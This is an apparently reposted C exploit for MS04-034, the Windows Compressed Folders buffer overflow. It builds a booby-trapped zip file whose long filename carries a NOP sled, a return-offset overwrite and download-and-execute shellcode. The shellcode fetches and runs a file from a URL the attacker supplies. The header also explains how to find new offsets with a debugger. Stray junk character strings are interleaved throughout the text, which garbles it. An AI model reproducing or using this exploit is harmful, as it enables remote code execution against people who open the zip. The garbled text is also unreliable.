(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * + W4 B/ [2 E$ z3 s% B z( Z* Tested under Windows XP SP0 Spanish/English % A4 K( n8 g9 M# X% E) t* + |, I) V" N9 P: i) a3 Q* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html % K A% i, X) K% H* Exploit Date: 21/10/2004 * 5 U! @- S* q' I6 d: j! |* Z+ P) y* Tarako - Haxorcitos.com 2004 & R1 }7 p5 f' c* * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" / b6 e# C$ r2 [( C* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION 4 M) t1 S: [* u$ j+ O0 S* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. : { J( | f$ M; W* 1 {3 x, X- e* D! j# `* Greetings t #haxorcitos, #dsr and #localhost @efnet 8 y0 L6 [2 v+ K& U n3 \: C8 h1 J* * ) @4 \! t M0 n: q3 S* V* How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe " O* Z$ _4 {6 y. A2 a* 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses ! ^' z& e$ ?: v9 U; H G* 3 A* j( y! `0 ~*/ ) l4 G+ Z$ E/ `- t& R( |$ i& y#include <stdio.h> 8 i& z: a, C" p: R3 W#include <windows.h> # y0 ^' F/ m& Z. m! w #pragma pack(1) - d5 D+ W6 B( z- D& U* W #define DATOS "Tarako-Haxorcitos.com" typedef struct { 1 S& E+ \5 W" jDWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; & p: |9 D0 @( wDWORD Crc32; ! F6 Y2 A$ Z0 T4 k: f9 s% LDWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; $ O0 O. e2 v" i6 F( i; @WORD ExtraFieldLength; 8 Q: [( M" B% D// filename (variable size) // extra field (variable size) 4 ?. O; w, C7 i/ l) Z" ~% c}TOPHEADER; 3 q4 n8 k& _# c C8 B. ] : c9 T9 R, q% f4 S. Z& L# s' C ~; ]typedef struct { 0 P2 S( o: M8 x$ b9 k) SDWORD Signature; // PK.. 4 bytes (0x02014B50) , Y3 n' m( \ e; I: @WORD MadeVersion; WORD VersionNeeded; $ b3 T6 N" G' e) {! ]4 H1 WWORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; 4 y) |4 l2 h0 Y) E7 P7 d$ TDWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; " n1 q# m ~- S$ T( qWORD FilenameLength; 8 O3 B* s9 n- CWORD ExtraFieldLength; ! n6 }$ P4 `7 L+ G9 s# NWORD FileCommentLength; 6 |) o: M( c% G0 A* g! }WORD DiskNumberStart; % S$ _) \6 e4 p. e0 @+ gWORD InternalFileAttributes; 1 n6 `6 A- R8 x% P2 M) c8 R# LDWORD ExternalFileAttributes; , Y+ ~7 T" D+ Y2 c* h Q3 uDWORD RelativeOffsetOfLocalHeader; ; d) c$ j( f) \- N: A$ \// filename (variable size) + e* [% ~. k7 Y" W% ~( @/ Q8 X7 I// extra field (variable size) // file comment (variable size) 4 y3 V, a2 T' M& n7 o) Q+ i. S3 b}MIDDLEHEADER; % ]9 c+ X6 t6 m* w" f: G, g4 t typedef struct { + S% o2 v! {( j" _3 G* ?$ O1 NDWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; 9 W0 j9 @; Q2 VWORD NumEntriesCentralDirOnThisDisk; 2 @9 j/ k& U+ r: u' h, ]WORD TotalNumEntriesCentralDir; DWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; 2 H! C, G# l$ o , L4 S1 P/ `( E4 N- G/* ' E# Q: L' T5 E. j0 b* download shellcode - RaiSe - raise@netsearch-ezine.com . `9 h$ S, ]- X7 n4 z5 S*/ char shellcode1[] = . [) G3 r; G, \) O"\xEB\x5D\x5F\x8B\xF7\x80\x3F" + W5 G' N# v. ~# B"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" 9 n( s: E( X* Q& }5 x"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" " x6 X, p5 ~/ y' W"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" 9 x( @3 f2 c( }! F"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" 3 }, m9 E+ B3 l' l8 z"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" # S- v: K K- Y$ C; L"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" . [5 P1 z& I+ f"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" 1 T6 N' K# R) b& V# T) `"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" 6 @- j' p' P& N5 a1 ]* m, T; `"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" * t! K5 P( {" G/ {! m+ O"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" 6 K7 d/ f9 x. Z+ v$ @- B# |"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" # D! b& g) Z4 v, y7 B8 C"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" ' k- y7 V4 ^; U9 M" O0 w p"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; ' \; G' Q z- M7 q; C9 H( m6 N 4 K" l g( o; ]- s! a2 ?! E0 B* Jchar offset[]="\x41\x41\x41\x41"; ( W! m4 w! x' N2 `4 E/ dchar jmpbelow[]= "\xeb\x06\x90\x90"; int main(int argc,char *argv[]) { + J/ x' V0 ]3 i6 R2 IFILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; " J9 d3 C; X( Q: W2 l8 m+ c0 h DWORD c; UINT i; % r& U! ^9 r) `$ E' Qchar *filename; % n2 V* a/ r8 c2 w# w0 e7 B, I- Bchar *url; & k3 k3 t+ j2 ]8 q ' o# _6 s, P/ f0 g2 Lprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); 2 M, ^2 y9 C4 J if (argc!=2) { 9 y$ K; {& |; S2 aprintf("\n\n Usage: %s <URL> \n",argv[0]); ( Y" W& M: S! h, J( i: w v5 yexit(1); } . b8 h4 z* T- X& q) n / \8 R- w y! s5 u: Gurl=argv[1]; - R# |6 j0 |8 m4 X1 zprintf("\n * URL: %s",url); 6 X0 b a9 K+ O) i' H if (!(ZipFile=fopen("prueba.zip","w+b"))) { . d: a m: [) b5 N* pprintf("\n [E] fopen()"); ' z; M' y1 h& `, cexit(1); . f9 [0 ?4 r2 R! M# w5 M7 }8 W} ( A: w- Y8 ]+ f( ~. G7 U& Zc=0x8000; // filename length 5 T* }8 e l) n; P5 pfilename=(char*)malloc(sizeof(char)*c); memset(filename,0,sizeof(filename)); ) A8 Z: G. |* Q, w, i; j* tfor( i=0x0;i<c;i++) filename=(BYTE)0x90; " W9 l/ `9 t9 X( W G; g$ B memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); : p% D* w4 H% p( V2 H& b( Tmemcpy(filename+0x1818,offset,strlen(offset)); % k3 b" k% o1 ~0 N$ u & R& b- ~6 V4 Wmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); memcpy(filename+(c-4),".txt",4); + t8 R3 G; j8 m7 { Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); * ^/ K0 U+ }7 L: F8 S8 j- l7 S. _% @Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); 0 Y% \( s* e6 {$ t- amemset(Cabecera1,0,sizeof(TOPHEADER)); . n1 J2 @- b% N' G4 Gmemset(Cabecera2,0,sizeof(MIDDLEHEADER)); memset(Cabecera3,0,sizeof(BOTTOMHEADER)); /////////////////////////////////////////////////////////////////// 0 R: _; B) E9 }// TOPHEADER 5 {) L% h" {( k6 X! U1 r' r/////////////////////////////////////////////////////////////////// * Y1 z+ k6 S4 d/ Q4 j- p' wCabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD 5 Q. |+ g9 ]4 c V0 a/ ~( hCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas Cabecera1->CompressionMethod=0x0000; // WORD 8 F ^+ J& @4 g7 uCabecera1->ModFileTime=0x1362; // WORD Cabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD 3 w! g1 h: c# S+ [( M* ]: WCabecera1->UncompressedSize=0x00000015; // DWORD Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera1->ExtraFieldLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// $ V! c0 z, R$ V/ d8 G* E7 D* E % P; }5 J% z) `- `( _8 W6 y G/////////////////////////////////////////////////////////////////// // MIDDLEHEADER /////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD . y. w: C- f; i8 ]# rCabecera2->MadeVersion=0x0014; // WORD Cabecera2->VersionNeeded=0x000A; // WORD 1 j) W2 \: c3 ?. ]) gCabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 9 w+ X$ @# @) R8 ~4 M# B- ECabecera2->ExtraFieldLength=0x0000; // WORD : X5 s1 \2 h7 s9 A" tCabecera2->FileCommentLength=0x0000; // WORD Cabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD y" Z" N) `- y3 c2 ]! B( |3 nCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD /////////////////////////////////////////////////////////////////// ; K8 `1 M3 _3 G' c /////////////////////////////////////////////////////////////////// 5 {3 ^' [* f+ F$ K& w// BOTTOMHEADER 9 U9 b7 _5 F# p) z% w* ^5 W/////////////////////////////////////////////////////////////////// / k" R" F# t. Z( A+ R4 aCabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD 8 \, V, J% X1 f1 x* z6 hCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD + ]' b( _) m: G) n" PCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD + }3 h# t ~/ M% r2 e" F* l1 [ h( vCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD . O$ G( J1 j* S @9 m! C# QCabecera3->ZipCommentLength=0x0000; // WORD 9 O4 y& w5 E0 @% J/ J6 M4 l/////////////////////////////////////////////////////////////////// fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); ; U$ H9 O0 q" ?& O yfwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); + U. [' l; \9 v3 J; P0 d& b/ ofwrite(filename, c, 1,ZipFile); fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); : m0 r) K* y5 ~& L8 j+ Gfclose(ZipFile); - `" d) O' Y# C9 q0 P8 V- r2 bprintf("\n * prueba.zip created\n"); return 1; " U. ^: p9 f4 _. c+ f6 b. m" @}//downloaded from milw0rm.com